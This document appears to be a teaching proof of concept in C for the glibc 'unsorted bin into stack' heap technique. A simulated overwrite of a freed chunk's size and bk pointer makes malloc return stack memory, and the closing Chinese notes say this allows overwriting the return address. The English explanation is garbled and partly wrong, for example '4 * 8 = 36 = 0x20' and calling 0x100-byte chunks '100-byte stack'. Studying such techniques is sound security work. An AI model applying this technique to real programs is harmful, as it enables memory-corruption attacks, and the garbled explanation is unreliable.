Source
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <stdint.h> 4 5 int main() { 6 intptr_t stack_buffer[4] = {0}; 7 8 fprintf(stderr, "Allocating the victim chunk\n"); 9 intptr_t* victim = malloc(0x100); 10 11 fprintf(stderr, "Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n"); 12 intptr_t* p1 = malloc(0x100); 13 14 fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); 15 free(victim); 16 17 fprintf(stderr, "Create a fake chunk on the stack"); 18 fprintf(stderr, "Set size for next allocation and the bk pointer to any writable address"); 19 stack_buffer[1] = 0x100 + 0x10; 20 stack_buffer[3] = (intptr_t)stack_buffer; 21 22 //------------VULNERABILITY----------- 23 fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n"); 24 fprintf(stderr, "Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n"); 25 victim[-1] = 32; 26 victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack 27 //------------------------------------ 28 29 fprintf(stderr, "Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]); 30 fprintf(stderr, "malloc(0x100): %p\n", malloc(0x100)); 31 }
operation result
Apply for 4 * 8 = 36 = 0x20 bytes of stack space on the stack
Then apply two 100-byte stack victim, p1
p1 is to prevent and top chunk after the merger victim released
Release of the victim, fastbin greater than required, it enters unsort bin
The stack is then forged into a stack
The stack of size assigned to 0x110
Writable Address bk any point, where it is pointing to the starting address of the stack
The stack size is then modified to the victim 32 = 0x20 bytes (to satisfy (> 16 on x64) && <av-> system_mem) requirements
The victim's bk modified to point to stack
At this point the victim is still unsort bin
unsorted bin is actually victim-> stack-> null
At this time, then apply a 0x100-byte stack
首先到unsorted bin中寻找
先找到victim 由于victim0>size被修改为了0x20,不满足大小要求,遍历victim->bk所指堆
于是找到stack ,大小满足,bk所指也为可写空间,满足条件,所以从链表中取出stack来分配
这就利用了unsorted bin的特性,使堆分配到了栈里
如果此时可以向堆里写入内容,即可覆盖栈中变量即返回地址